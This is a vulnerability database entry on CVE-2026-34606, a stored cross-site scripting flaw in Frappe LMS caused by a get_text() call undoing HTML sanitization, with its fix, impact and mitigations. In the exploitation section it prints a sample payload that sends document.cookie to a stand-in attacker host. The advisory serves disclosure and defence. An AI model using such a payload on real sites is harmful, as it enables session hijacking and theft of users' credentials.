
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-34606 is a stored Cross-Site Scripting (XSS) vulnerability in Frappe Learning Management System (LMS) affecting versions 2.27.0 through 2.47.x. The flaw allows attackers to inject and persist malicious scripts that execute in the browsers of other users viewing compromised content. It was disclosed on April 2, 2026, with the fix merged on March 12, 2026, and released in version 2.48.0. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.9 (Medium) (GitHub Advisory, Feedly).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified as a stored XSS. In lms/www/_lms.py, the code used BeautifulSoup's soup.get_text() to extract text from HTML fields (such as course descriptions, batch details, job opening descriptions, and user bios) after sanitization by the nh3 library in the Frappe framework. However, get_text() undoes the sanitization by returning raw decoded text, allowing injected HTML tags — including <script> elements — to bypass the sanitizer and be stored and later rendered in page metadata contexts. The fix replaces soup.get_text() with escape_html(soup.get_text()) to properly encode the output before storage (GitHub PR #2185, GitHub Commit).
Successful exploitation allows an attacker to store malicious JavaScript payloads in LMS content fields (course descriptions, batch details, job openings, user bios) that execute in the browsers of any user who views the affected pages. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, defacement of learning content, and potential malware distribution to platform users. Because the payload is stored server-side, all users visiting the compromised content are affected without any further action by the attacker (GitHub Advisory, Feedly).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an <img onerror=...> variant.nh3 sanitizer processes the input, but soup.get_text() subsequently decodes it, allowing the tags to persist.<script>, <img>, or <svg> with event handlers in course descriptions, batch details, job openings, or user bios.course.description, batch.batch_details, or user.bio containing raw HTML tags or JavaScript event handlers that should have been sanitized.The issue is patched in Frappe LMS version 2.48.0, released March 18, 2026. Administrators should upgrade immediately to v2.48.0 or later (GitHub Release). For organizations unable to patch immediately, recommended interim mitigations include: implementing strict Content Security Policy (CSP) headers to restrict script execution, auditing stored content in affected fields for malicious scripts, monitoring user accounts for unauthorized activity, and restricting access to the LMS until patching is complete. Input validation and output encoding should also be verified in any custom extensions (Feedly).
The vulnerability was discovered by security researcher @nickhefty and responsibly disclosed to the Frappe team, who published the GitHub Security Advisory (GHSA-qf5w-r34q-c7j2) on March 31, 2026 (GitHub Advisory). No significant broader media coverage or notable social media commentary beyond the standard vulnerability tracking community has been identified at this time.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."